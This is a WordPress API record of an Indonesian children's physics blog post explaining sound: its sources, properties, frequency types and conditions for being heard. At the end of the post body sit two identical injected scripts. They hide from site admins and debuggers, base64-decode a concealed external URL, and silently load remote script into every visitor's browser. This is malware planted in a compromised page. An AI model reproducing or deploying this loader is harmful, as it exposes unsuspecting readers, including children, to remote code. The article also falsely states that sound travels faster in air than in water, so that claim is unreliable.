{"id":628,"date":"2025-06-23T09:00:48","date_gmt":"2025-06-23T02:00:48","guid":{"rendered":"https:\/\/www.altaschool.id\/blog\/?p=628"},"modified":"2026-01-20T06:25:47","modified_gmt":"2026-01-19T23:25:47","slug":"bunyi","status":"publish","type":"post","link":"https:\/\/www.altaglobalschool.com\/blog\/bunyi","title":{"rendered":"Pengertian Bunyi, Sifat, Jenis, hingga Syarat Terjadinya"},"content":{"rendered":"<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/e925e333-7a4b-4d76-9e52-98745655b7bf.png\" alt=\"bunyi\" \/><\/p>\n<blockquote>\n<p style=\"text-align: center;\"><i><span style=\"font-weight: 400;\">Dalam ilmu Fisika, bunyi terjadi karena adanya getaran dari sumber bunyi. Maksudnya gimana ya? Yuk kita bahas tentang bunyi lengkap mulai dari pengertian, sifat, jenis, hingga syarat terjadinya!<\/span><\/i><\/p>\n<\/blockquote>\n<p style=\"text-align: center;\"><i><span style=\"font-weight: 400;\">&#8212;<\/span><\/i><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Saat kamu mendengar suara nyanyian, kicauan burung, teriakan, atau bunyi lainnya, pernah <\/span><i><span style=\"font-weight: 400;\">nggak <\/span><\/i><span style=\"font-weight: 400;\">sih kepikiran bagaimana bunyi bisa terjadi? Padahal bunyi atau suara tidak ada wujudnya alias tidak terlihat.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Nah, bunyi terjadi karena adanya getaran bunyi. Bunyi bisa terdengar karena adanya getaran yang tertangkap oleh indera pendengar kita. Fenomena bunyi ini bisa dijelaskan secara Fisika, <\/span><i><span style=\"font-weight: 400;\">lho. <\/span><\/i><span style=\"font-weight: 400;\">Yuk simak penjelasan lengkapnya!<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Pengertian Bunyi<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Menurut kamu, apa itu bunyi? Jadi, bunyi adalah suara yang bisa kita dengar. Ketika ada sesuatu yang bergetar atau bergerak, bunyi akan terbentuk. Misalnya, ketika kamu meniup seruling, seruling tersebut bergetar dan menghasilkan bunyi yang indah. Bunyi juga bisa datang dari hal-hal sehari-hari, seperti suara lonceng sekolah, suara <strong><a href=\"https:\/\/www.altaglobalschool.com\/blog\/hewan-ovipar-vivipar-dan-ovovivipar\">burung<\/a> <\/strong>yang bernyanyi, atau suara langkah kaki saat kita berjalan. Bunyi bisa berbeda-beda, ada yang keras, ada yang lembut, ada yang tinggi, dan ada yang rendah.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Jika dijelaskan dalam ilmu Fisika, bunyi adalah gelombang mekanik yang merambat melalui medium, seperti udara, air, atau benda padat. Bunyi terbentuk ketika objek atau sumber bunyi bergetar atau bergerak dengan cepat. Ketika objek tersebut bergetar, ia mendorong partikel-partikel medium di sekitarnya, menyebabkan partikel-partikel tersebut bergetar juga. Getaran ini kemudian merambat sebagai gelombang bunyi melalui medium.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/perubahan-wujud-benda-dan-contohnya\">Contoh Perubahan Wujud Benda Beserta Penjelasannya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Sumber Bunyi<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bunyi terjadi karena adanya sumber bunyi. Sumber bunyi sendiri merupakan objek atau peristiwa yang menghasilkan bunyi.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bagaimana sumber bunyi bisa terdengar? Jadi, saat sumber bunyi mendapatkan getaran karena pukulan, petikan, tiupan, gesekan, atau bahkan muncul secara alami, maka akan menghasilkan bunyi.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sumber bunyi bisa bermacam-macam, termasuk benda hidup dan benda mati. Manusia juga memiliki alat untuk mengeluarkan sumber bunyi yang disebut pita suara. Selain itu, contoh sumber bunyi lainnya yaitu:<\/span><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>1. Hewan<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Hewan juga memiliki kemampuan untuk menghasilkan bunyi, seperti burung yang bernyanyi, anjing yang menggonggong, dan kucing yang mengeluarkan suara &#8220;meong&#8221;.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>2. Alat musik<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Alat musik seperti gitar, piano, drum, dan seruling adalah contoh sumber bunyi yang diciptakan manusia. Ketika alat musik ini dimainkan, getaran atau pergerakan pada bagian-bagian alat musik menghasilkan bunyi.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>3. Kendaraan<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kendaraan seperti mobil, motor, atau pesawat terbang menghasilkan bunyi dari mesin atau komponen lainnya yang bergerak. Bunyi ini dapat berasal dari suara mesin, knalpot, atau ban yang berputar.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>4. Alam<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sumber bunyi alam meliputi suara angin yang bertiup, suara hujan yang jatuh, gemuruh petir, atau ombak yang memecah di pantai. Bunyi-bunyi ini berasal dari peristiwa alam yang terjadi di sekitar kita.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>5. Benda mati<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Benda mati seperti lonceng, bel, atau klakson juga dapat menjadi sumber bunyi. Ketika benda-benda ini dipukul atau ditekan, mereka menghasilkan bunyi khas yang dapat didengar.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/contoh-kalimat-dan-kata-benda\">Contoh Kata Benda beserta Pengertian, Ciri, dan Jenisnya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Sifat Energi Bunyi<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bunyi memiliki sifat-sifat yang membedakannya dengan energi lainnya, di antaranya yaitu:<\/span><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>1. Merambat melalui zat<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bunyi dapat merambat melalui berbagai jenis medium, seperti udara, air, dan benda padat. Ketika sumber bunyi bergetar, ia menghasilkan gelombang suara yang merambat melalui medium tersebut dari satu titik ke titik lain.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>2. Mengalami refleksi atau pantulan<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bunyi dapat memantul saat bertemu dengan permukaan yang keras atau halus. Ketika bunyi memantul, ia berubah arah dan kembali ke medium asalnya. Fenomena ini sering menghasilkan <\/span><i><span style=\"font-weight: 400;\">echo<\/span><\/i><span style=\"font-weight: 400;\"> atau gema, tergantung pada jarak dan sifat permukaan yang memantulkan bunyi.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>3. Dapat diserap<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bunyi dapat diserap oleh benda atau medium tertentu. Ketika bunyi bertemu dengan benda yang memiliki sifat penyerapan bunyi tinggi, sebagian energi bunyi akan diubah menjadi energi lain, seperti panas. Misalnya, saat bunyi bertemu dengan bahan peredam suara, seperti busa atau kain tebal, bunyi dapat diserap dengan efektif.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>4. Bisa mengalami difraksi atau pembiasan<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Difraksi adalah sifat bunyi yang melewati penghalang atau bidang yang melengkung, seperti pintu yang terbuka atau ujung pintu. Ketika bunyi mengalami difraksi, ia dapat mengubah arah dan pola perambatannya. Fenomena ini memungkinkan bunyi untuk dapat terdengar di sekitar sudut atau penghalang.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>5. Bisa mengalami interferensi atau saling mempengaruhi<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ketika dua atau lebih gelombang bunyi bertemu, mereka dapat saling mempengaruhi dan menghasilkan pola interferensi. Interferensi bisa menguatkan atau membatalkan bunyi, tergantung pada fase (posisi) dan amplitudo gelombang bunyi tersebut.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>6. Mengalami Doppler Effect<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Doppler Effect terjadi ketika sumber bunyi atau pendengar bergerak antar satu sama lain. Akibatnya, frekuensi bunyi yang didengar akan berubah. Jika sumber bunyi mendekati pendengar, frekuensi bunyi terdengar lebih tinggi, sedangkan jika sumber bunyi menjauhi pendengar, frekuensi bunyi terdengar lebih rendah.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>7. Memiliki kecepatan perambatan<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bunyi memiliki kecepatan perambatan tertentu di dalam medium. Kecepatan bunyi dapat berbeda tergantung pada jenis mediumnya. Misalnya, bunyi merambat lebih cepat di udara daripada di air.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Jenis-Jenis Bunyi<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Secara umum, jenis bunyi dibagi menjadi tiga, yaitu infrasonik, audiosonik, dan ultrasonik. Apa pengertian, ciri, dan contoh dari ketiganya?<\/span><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>1. Bunyi Infrasonik<\/b><\/span><\/h3>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Bunyi infrasonik adalah bunyi yang memiliki frekuensi di bawah rentang pendengaran manusia, yaitu kurang dari 20 Hz.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Bunyi ini tidak dapat didengar oleh manusia, tetapi beberapa hewan seperti gajah dan paus dapat mendeteksi dan menggunakan bunyi infrasonik untuk berkomunikasi.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Contoh bunyi infrasonik adalah suara gemuruh gempa bumi, ombak laut besar, atau suara mesin besar seperti pesawat terbang.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>2. Bunyi Audiosonik<\/b><\/span><\/h3>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Bunyi audiosonik adalah bunyi yang berada dalam rentang frekuensi pendengaran manusia, yaitu sekitar 20 Hz hingga 20.000 Hz.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Bunyi audiosonik adalah jenis bunyi yang paling umum dan dapat didengar oleh manusia.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Contoh bunyi audiosonik meliputi suara-suara sehari-hari seperti suara manusia berbicara, musik, bunyi kendaraan, serta suara alat musik.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>3. Bunyi Ultrasonik<\/b><\/span><\/h3>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Bunyi ultrasonik adalah bunyi yang memiliki frekuensi di atas rentang pendengaran manusia, yaitu di atas 20.000 Hz.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Manusia tidak dapat mendengar bunyi ultrasonik secara langsung, tetapi beberapa hewan seperti kelelawar dan lumba-lumba menggunakan bunyi ultrasonik untuk navigasi dan pencarian makanan.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Bunyi ultrasonik juga digunakan dalam berbagai aplikasi teknologi seperti pencitraan medis, pembersihan ultrasonik, dan pengukuran jarak.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Syarat Terjadinya Bunyi<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bagaimana bunyi bisa terjadi? Mengapa telinga kita bisa mendengarnya padahal bunyi tidak dapat dilihat? Nah, ternyata, bunyi dapat terdengar apabila memenuhi syarat berikut. Apa saja?<\/span><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>1. Terdapat sumber getaran<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sumber getaran ini dapat berupa benda yang bergetar, seperti alat musik yang menghasilkan bunyi ketika ditiup, dipetik, atau dipukul.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>2. Membutuhkan medium perambatan<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bunyi membutuhkan medium perambatan untuk dapat merambat. Medium ini dapat berupa udara, air, atau benda padat. Bunyi tidak dapat merambat di dalam ruang hampa udara karena tidak ada medium untuk mentransmisikan gelombang bunyi.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>4. Adanya getaran merambat<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Getaran dari sumber bunyi harus mampu merambat melalui medium yang ada. Ketika sumber bunyi bergetar, getaran ini menghasilkan gelombang yang merambat melalui medium, seperti udara. Gelombang bunyi terdiri dari kompresi (bagian dengan tekanan tinggi) dan rarefaksi (bagian dengan tekanan rendah) yang bergerak melalui medium.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>5. Terdapat pendengar atau alat pendeteksi<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Untuk mendengar bunyi, ada kebutuhan akan adanya pendengar atau alat pendeteksi yang dapat merespons gelombang bunyi. Manusia memiliki telinga yang mampu mendeteksi dan menginterpretasikan gelombang bunyi sebagai suara.<\/span><\/p>\n<p style=\"text-align: center;\">&#8212;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Nah, sekarang kamu udah nggak bingung lagi kan, gimana bunyi bisa terjadi? Jadi, bunyi bisa didengar oleh manusia karena adanya getaran dari sumber bunyi yang ditangkap oleh telinga. Menarik banget ya belajar ilmu Fisika. Yuk belajar materi Sains lainnya di Alta Global School. Di\u00a0<strong><a href=\"https:\/\/www.altaglobalschool.com\/\">Alta Global School<\/a>\u00a0<\/strong>anak bisa belajar dengan\u00a0metode pembelajaran\u00a0<em>blended-learning<\/em>\u00a0untuk jenjang Pre-K hingga Kelas 12, yang dirancang untuk mempersiapkan siswa mendapatkan beasiswa ke universitas terkemuka di Indonesia dan dunia. Yuk, daftar dengan isi data di bawah ini!<\/span><\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dalam ilmu Fisika, bunyi terjadi karena adanya getaran dari sumber bunyi. Maksudnya gimana ya? Yuk kita bahas tentang bunyi lengkap mulai dari pengertian, sifat, jenis, hingga syarat terjadinya! &#8212; Saat kamu mendengar suara nyanyian, kicauan burung, teriakan, atau bunyi lainnya, pernah nggak sih kepikiran bagaimana bunyi bisa terjadi? Padahal bunyi atau suara tidak ada wujudnya [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":628,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_edit_lock":["1750645165:1"],"_edit_last":["1"],"_aioseo_title":[null],"_aioseo_description":["Apa itu bunyi dan bagaimana caranya bisa kita dengar? Yuk, kita belajar tentang pengertian, sumber, sifat, jenis, serta syarat terjadinya di artikel berikut!"],"_aioseo_keywords":["a:0:{}"],"_aioseo_og_title":[null],"_aioseo_og_description":[null],"_aioseo_og_article_section":[""],"_aioseo_og_article_tags":["a:0:{}"],"_aioseo_twitter_title":[null],"_aioseo_twitter_description":[null],"_knawatfibu_url":["https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/e925e333-7a4b-4d76-9e52-98745655b7bf.png"],"_knawatfibu_alt":["Pengertian, Jenis, Sifat, dan Syarat Bunyi"],"_wp_old_date":["2023-06-08","2024-06-21"],"_linker_next_update":["1769394052"],"_yoast_wpseo_metadesc":["Apa itu bunyi dan bagaimana caranya bisa kita dengar? Yuk, kita belajar tentang pengertian, sumber, sifat, jenis, serta syarat terjadinya di artikel berikut!"]},"categories":[1],"tags":[],"class_list":["post-628","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Pengertian Bunyi, Sifat, Jenis, hingga Syarat Terjadinya<\/title>\n<meta name=\"description\" content=\"Apa itu bunyi dan bagaimana caranya bisa kita dengar? Yuk, kita belajar tentang pengertian, sumber, sifat, jenis, serta syarat terjadinya di artikel berikut!\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.altaglobalschool.com\/blog\/bunyi\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Pengertian Bunyi, Sifat, Jenis, hingga Syarat Terjadinya\" \/>\n<meta property=\"og:description\" content=\"Apa itu bunyi dan bagaimana caranya bisa kita dengar? Yuk, kita belajar tentang pengertian, sumber, sifat, jenis, serta syarat terjadinya di artikel berikut!\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.altaglobalschool.com\/blog\/bunyi\" \/>\n<meta property=\"og:site_name\" content=\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\" \/>\n<meta property=\"article:published_time\" content=\"2025-06-23T02:00:48+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-01-19T23:25:47+00:00\" \/>\n<meta name=\"author\" content=\"Adya Rosyada Yonas\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Adya Rosyada Yonas\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/bunyi\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/bunyi\",\"name\":\"Pengertian Bunyi, Sifat, Jenis, hingga Syarat Terjadinya\",\"isPartOf\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/bunyi#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/bunyi#primaryimage\"},\"thumbnailUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/e925e333-7a4b-4d76-9e52-98745655b7bf.png\",\"datePublished\":\"2025-06-23T02:00:48+00:00\",\"dateModified\":\"2026-01-19T23:25:47+00:00\",\"author\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/850b7e1d71501916e6cba4c26483b280\"},\"description\":\"Apa itu bunyi dan bagaimana caranya bisa kita dengar? Yuk, kita belajar tentang pengertian, sumber, sifat, jenis, serta syarat terjadinya di artikel berikut!\",\"breadcrumb\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/bunyi#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.altaglobalschool.com\/blog\/bunyi\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/bunyi#primaryimage\",\"url\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/e925e333-7a4b-4d76-9e52-98745655b7bf.png\",\"contentUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/e925e333-7a4b-4d76-9e52-98745655b7bf.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/bunyi#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.altaglobalschool.com\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Pengertian Bunyi, Sifat, Jenis, hingga Syarat Terjadinya\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/\",\"name\":\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/850b7e1d71501916e6cba4c26483b280\",\"name\":\"Adya Rosyada Yonas\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g\",\"caption\":\"Adya Rosyada Yonas\"},\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/author\/adya-rosyada-yonas\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Pengertian Bunyi, Sifat, Jenis, hingga Syarat Terjadinya","description":"Apa itu bunyi dan bagaimana caranya bisa kita dengar? Yuk, kita belajar tentang pengertian, sumber, sifat, jenis, serta syarat terjadinya di artikel berikut!","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.altaglobalschool.com\/blog\/bunyi","og_locale":"en_US","og_type":"article","og_title":"Pengertian Bunyi, Sifat, Jenis, hingga Syarat Terjadinya","og_description":"Apa itu bunyi dan bagaimana caranya bisa kita dengar? Yuk, kita belajar tentang pengertian, sumber, sifat, jenis, serta syarat terjadinya di artikel berikut!","og_url":"https:\/\/www.altaglobalschool.com\/blog\/bunyi","og_site_name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","article_published_time":"2025-06-23T02:00:48+00:00","article_modified_time":"2026-01-19T23:25:47+00:00","author":"Adya Rosyada Yonas","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Adya Rosyada Yonas","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.altaglobalschool.com\/blog\/bunyi","url":"https:\/\/www.altaglobalschool.com\/blog\/bunyi","name":"Pengertian Bunyi, Sifat, Jenis, hingga Syarat Terjadinya","isPartOf":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/bunyi#primaryimage"},"image":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/bunyi#primaryimage"},"thumbnailUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/e925e333-7a4b-4d76-9e52-98745655b7bf.png","datePublished":"2025-06-23T02:00:48+00:00","dateModified":"2026-01-19T23:25:47+00:00","author":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/850b7e1d71501916e6cba4c26483b280"},"description":"Apa itu bunyi dan bagaimana caranya bisa kita dengar? Yuk, kita belajar tentang pengertian, sumber, sifat, jenis, serta syarat terjadinya di artikel 